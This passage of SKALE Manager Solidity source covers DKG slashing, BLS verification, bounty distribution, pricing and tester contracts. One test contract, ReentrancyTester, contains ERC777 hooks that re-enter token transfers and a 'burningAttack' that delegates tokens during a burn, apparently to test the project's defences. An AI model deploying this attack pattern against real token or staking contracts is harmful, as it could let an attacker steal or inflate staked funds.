= G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator(); for (uint i = 0; i < verificationVector.length; i++) { (tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i); if (!_checkPairing(tmp, verificationVector[i], verificationVectorMult[i])) { return false; } } return true; } function _checkPairing( Fp2Operations.Fp2Point memory g1Mul, G2Operations.G2Point memory verificationVector, G2Operations.G2Point memory verificationVectorMult ) private view returns (bool) { require(G1Operations.checkRange(g1Mul), "g1Mul is not valid"); g1Mul.b = G1Operations.negate(g1Mul.b); Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator(); return Precompiled.bn256Pairing( one.a, one.b, verificationVectorMult.x.b, verificationVectorMult.x.a, verificationVectorMult.y.b, verificationVectorMult.y.a, g1Mul.a, g1Mul.b, verificationVector.x.b, verificationVector.x.a, verificationVector.y.b, verificationVector.y.a ); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../Decryption.sol"; import "../Nodes.sol"; import "../thirdparty/ECDH.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgResponse { using G2Operations for G2Operations.G2Point; function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, fromNodeIndex); require(index < channels[schainId].n, "Node is not in this group"); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(complaints[schainId].isResponse, "Have not submitted pre-response data"); uint badNode = _verifyDataAndSlash( schainId, secretNumber, multipliedShare, contractManager, complaints ); SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainId, badNode); } function _verifyDataAndSlash( bytes32 schainId, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private returns (uint badNode) { bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey( complaints[schainId].fromNodeToComplaint ); uint256 pkX = uint(publicKey[0]); (pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1])); bytes32 key = bytes32(pkX); // Decrypt secret key contribution uint secret = Decryption(contractManager.getContract("Decryption")).decrypt( complaints[schainId].keyShare, sha256(abi.encodePacked(key)) ); badNode = ( _checkCorrectMultipliedShare(multipliedShare, secret) && multipliedShare.isEqual(complaints[schainId].sumOfVerVec) ? complaints[schainId].fromNodeToComplaint : complaints[schainId].nodeToComplaint ); SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, badNode); } function _checkCorrectMultipliedShare( G2Operations.G2Point memory multipliedShare, uint secret ) private view returns (bool) { if (!multipliedShare.isG2()) { return false; } G2Operations.G2Point memory tmp = multipliedShare; Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({ a: 0, b: 0 }); (share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret); require(G1Operations.checkRange(share), "share is not valid"); share.b = G1Operations.negate(share.b); require(G1Operations.isG1(share), "mulShare not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); return Precompiled.bn256Pairing( share.a, share.b, g2.x.b, g2.x.a, g2.y.b, g2.y.a, g1.a, g1.b, tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; /** * @title SkaleVerifier * @dev Contains verify function to perform BLS signature verification. */ contract SkaleVerifier is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; /** * @dev Verifies a BLS signature. * * Requirements: * * - Signature is in G1. * - Hash is in G1. * - G2.one in G2. * - Public Key in G2. */ function verify( Fp2Operations.Fp2Point calldata signature, bytes32 hash, uint counter, uint hashA, uint hashB, G2Operations.G2Point calldata publicKey ) external view returns (bool) { require(G1Operations.checkRange(signature), "Signature is not valid"); if (!_checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB = G1Operations.negate(signature.b); require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1"); require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); require( G2Operations.isG2(publicKey), "Public Key not in G2" ); return Precompiled.bn256Pairing( signature.a, newSignB, g2.x.b, g2.x.a, g2.y.b, g2.y.a, hashA, hashB, publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } function _checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) private pure returns (bool) { if (counter > 100) { return false; } uint xCoord = uint(hash) % Fp2Operations.P; xCoord = (xCoord.add(counter)) % Fp2Operations.P; uint ySquared = addmod( mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P), 3, Fp2Operations.P ); if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) { return false; } return true; } } // SPDX-License-Identifier: AGPL-3.0-only /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @title Decryption * @dev This contract performs encryption and decryption functions. * Decrypt is used by SkaleDKG contract to decrypt secret key contribution to * validate complaints during the DKG procedure. */ contract Decryption { /** * @dev Returns an encrypted text given a secret and a key. */ function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { return bytes32(secretNumber) ^ key; } /** * @dev Returns a secret given an encrypted text and a key. */ function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { return uint256(ciphertext ^ key); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferencesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../delegation/PartialDifferences.sol"; contract PartialDifferencesTester { using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using SafeMath for uint; PartialDifferences.Sequence[] private _sequences; // PartialDifferences.Value[] private _values; function createSequence() external { _sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0})); } function addToSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].addToSequence(diff, month); } function subtractFromSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].subtractFromSequence(diff, month); } function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) { require(sequence < _sequences.length, "Sequence does not exist"); return _sequences[sequence].getAndUpdateValueInSequence(month); } function reduceSequence( uint sequence, uint a, uint b, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b); return _sequences[sequence].reduceSequence(reducingCoefficient, month); } function latestSequence() external view returns (uint id) { require(_sequences.length > 0, "There are no _sequences"); return _sequences.length.sub(1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ReentrancyTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../Permissions.sol"; import "../delegation/DelegationController.sol"; contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bool private _reentrancyCheck = false; bool private _burningAttack = false; uint private _amount = 0; constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); } function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 amount, bytes calldata /* userData */, bytes calldata /* operatorData */ ) external override { if (_reentrancyCheck) { IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require( skaleToken.transfer(contractManager.getContract("SkaleToken"), amount), "Transfer is not successful"); } } function tokensToSend( address, // operator address, // from address, // to uint256, // amount bytes calldata, // userData bytes calldata // operatorData ) external override { if (_burningAttack) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.delegate( 1, _amount, 2, "D2 is even"); } } function prepareToReentracyCheck() external { _reentrancyCheck = true; } function prepareToBurningAttack() external { _burningAttack = true; } function burningAttack() external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); _amount = skaleToken.balanceOf(address(this)); skaleToken.burn(_amount, ""); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "./delegation/Distributor.sol"; import "./delegation/ValidatorService.sol"; import "./interfaces/IMintableToken.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./NodeRotation.sol"; import "./Permissions.sol"; import "./Schains.sol"; import "./Wallets.sol"; /** * @title SkaleManager * @dev Contract contains functions for node registration and exit, bounty * management, and monitoring verdicts. */ contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820; bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); string public version; /** * @dev Emitted when bounty is received. */ event BountyReceived( uint indexed nodeIndex, address owner, uint averageDowntime, uint averageLatency, uint bounty, uint previousBlockEvent, uint time, uint gasSpend ); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { Schains schains = Schains( contractManager.getContract("Schains")); schains.addSchain(from, value, userData); } } function createNode( uint16 port, uint16 nonce, bytes4 ip, bytes4 publicIp, bytes32[2] calldata publicKey, string calldata name, string calldata domainName ) external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); // validators checks inside checkPossibilityCreatingNode nodes.checkPossibilityCreatingNode(msg.sender); Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({ name: name, ip: ip, publicIp: publicIp, port: port, publicKey: publicKey, nonce: nonce, domainName: domainName }); nodes.createNode(msg.sender, params); } function nodeExit(uint nodeIndex) external { uint gasTotal = gasleft(); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint validatorId = nodes.getValidatorId(nodeIndex); bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex)); if (!permitted && validatorService.validatorAddressExists(msg.sender)) { permitted = validatorService.getValidatorId(msg.sender) == validatorId; } require(permitted, "Sender is not permitted to call this function"); nodeRotation.freezeSchains(nodeIndex); if (nodes.isNodeActive(nodeIndex)) { require(nodes.initExit(nodeIndex), "Initialization of node exit is failed"); } require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving"); (bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex); if (completed) { SchainsInternal( contractManager.getContract("SchainsInternal") ).removeNodeFromAllExceptionSchains(nodeIndex); require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed"); nodes.changeNodeFinishTime( nodeIndex, now.add( isSchains ? ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : 0 ) ); nodes.deleteNodeForValidator(validatorId, nodeIndex); } _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function deleteSchain(string calldata name) external { Schains schains = Schains(contractManager.getContract("Schains")); // schain owner checks inside deleteSchain schains.deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external onlyAdmin { Schains schains = Schains(contractManager.getContract("Schains")); schains.deleteSchainByRoot(name); } function getBounty(uint nodeIndex) external { uint gasTotal = gasleft(); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(nodes.isTimeForReward(nodeIndex), "Not time for bounty"); require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state"); BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty")); uint bounty = bountyContract.calculateBounty(nodeIndex); nodes.changeNodeLastRewardDate(nodeIndex); uint validatorId = nodes.getValidatorId(nodeIndex); if (bounty > 0) { _payBounty(bounty, validatorId); } emit BountyReceived( nodeIndex, msg.sender, 0, 0, bounty, uint(-1), block.timestamp, gasleft()); _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function setVersion(string calldata newVersion) external onlyOwner { version = newVersion; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function _payBounty(uint bounty, uint validatorId) private returns (bool) { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); Distributor distributor = Distributor(contractManager.getContract("Distributor")); require( IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""), "Token was not minted" ); } function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private { uint gasCostOfRefundGasByValidator = 29000; Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator); } } // SPDX-License-Identifier: AGPL-3.0-only /* Distributor.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "../utils/MathUtils.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; import "./DelegationPeriodManager.sol"; import "./TimeHelpers.sol"; /** * @title Distributor * @dev This contract handles all distribution functions of bounty and fee * payments. */ contract Distributor is Permissions, IERC777Recipient { using MathUtils for uint; /** * @dev Emitted when bounty is withdrawn. */ event WithdrawBounty( address holder, uint validatorId, address destination, uint amount ); /** * @dev Emitted when a validator fee is withdrawn. */ event WithdrawFee( uint validatorId, address destination, uint amount ); /** * @dev Emitted when bounty is distributed. */ event BountyWasPaid( uint validatorId, uint amount ); IERC1820Registry private _erc1820; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _bountyPaid; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _feePaid; // holder => validatorId => month mapping (address => mapping (uint => uint)) private _firstUnwithdrawnMonth; // validatorId => month mapping (uint => uint) private _firstUnwithdrawnMonthForValidator; /** * @dev Return and update the amount of earned bounty from a validator. */ function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) { return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); } /** * @dev Allows msg.sender to withdraw earned bounty. Bounties are locked * until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed. * * Emits a {WithdrawBounty} event. * * Requirements: * * - Bounty must be unlocked. */ function withdrawBounty(uint validatorId, address to) external { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Bounty is locked"); uint bounty; uint endMonth; (bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); _firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth; IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require(skaleToken.transfer(to, bounty), "Failed to transfer tokens"); emit WithdrawBounty( msg.sender, validatorId, to, bounty ); } /** * @dev Allows `msg.sender` to withdraw earned validator fees. Fees are * locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed. * * Emits a {WithdrawFee} event. * * Requirements: * * - Fee must be unlocked. */ function withdrawFee(address to) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Fee is locked"); // check Validator Exist inside getValidatorId uint validatorId = validatorService.getValidatorId(msg.sender); uint fee; uint endMonth; (fee, endMonth) = getEarnedFeeAmountOf(validatorId); _firstUnwithdrawnMonthForValidator[validatorId] = endMonth; require(skaleToken.transfer(to, fee), "Failed to transfer tokens"); emit WithdrawFee( validatorId, to, fee ); } function tokensReceived( address, address, address to, uint256 amount, bytes calldata userData, bytes calldata ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); require(userData.length == 32, "Data length is incorrect"); uint validatorId = abi.decode(userData, (uint)); _distributeBounty(amount, validatorId); } /** * @dev Return the amount of earned validator fees of `msg.sender`. */ function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender)); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Return and update the amount of earned bounties. */ function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId) public returns (uint earned, uint endMonth) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId]; if (startMonth == 0) { startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId); if (startMonth == 0) { return (0, 0); } } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { uint effectiveDelegatedToValidator = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i); if (effectiveDelegatedToValidator.muchGreater(0)) { earned = earned.add( _bountyPaid[validatorId][i].mul( delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i)) .div(effectiveDelegatedToValidator) ); } } } /** * @dev Return the amount of earned fees by validator ID. */ function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId]; if (startMonth == 0) { return (0, 0); } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { earned = earned.add(_feePaid[validatorId][i]); } } // private /** * @dev Distributes bounties to delegators. * * Emits a {BountyWasPaid} event. */ function _distributeBounty(uint amount, uint validatorId) private { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint currentMonth = timeHelpers.getCurrentMonth(); uint feeRate = validatorService.getValidator(validatorId).feeRate; uint fee = amount.mul(feeRate).div(1000); uint bounty = amount.sub(fee); _bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty); _feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee); if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) { _firstUnwithdrawnMonthForValidator[validatorId] = currentMonth; } emit BountyWasPaid(validatorId, amount); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKGTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; contract SkaleDKGTester is SkaleDKG { function setSuccessfulDKGPublic(bytes32 schainId) external { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* NodesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../Nodes.sol"; contract NodesTester is Nodes { function removeNodeFromSpaceToNodes(uint nodeIndex) external { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); } function removeNodesFromPlace(uint place, uint nodesAmount) external { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); tree.removeFromPlace(place, nodesAmount); } function amountOfNodesFromPlaceInTree(uint place) external view returns (uint) { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); return tree.sumFromPlaceToLast(place); } } // SPDX-License-Identifier: AGPL-3.0-only /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Pricing * @dev Contains pricing operations for SKALE network. */ contract Pricing is Permissions { uint public constant INITIAL_PRICE = 5 * 10**6; uint public price; uint public totalNodes; uint public lastUpdated; function initNodes() external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); totalNodes = nodes.getNumberOnlineNodes(); } /** * @dev Adjust the schain price based on network capacity and demand. * * Requirements: * * - Cooldown time has exceeded. */ function adjustPrice() external { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price"); checkAllNodes(); uint load = _getTotalLoad(); uint capacity = _getTotalCapacity(); bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity); uint loadDiff; if (networkIsOverloaded) { loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity)); } else { loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100)); } uint priceChangeSpeedMultipliedByCapacityAndMinPrice = constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price); uint timeSkipped = now.sub(lastUpdated); uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice .mul(timeSkipped) .div(constantsHolder.COOLDOWN_TIME()) .div(capacity) .div(constantsHolder.MIN_PRICE()); if (networkIsOverloaded) { assert(priceChange > 0); price = price.add(priceChange); } else { if (priceChange > price) { price = constantsHolder.MIN_PRICE(); } else { price = price.sub(priceChange); if (price < constantsHolder.MIN_PRICE()) { price = constantsHolder.MIN_PRICE(); } } } lastUpdated = now; } /** * @dev Returns the total load percentage. */ function getTotalLoadPercentage() external view returns (uint) { return _getTotalLoad().mul(100).div(_getTotalCapacity()); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); lastUpdated = now; price = INITIAL_PRICE; } function checkAllNodes() public { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint numberOfActiveNodes = nodes.getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, 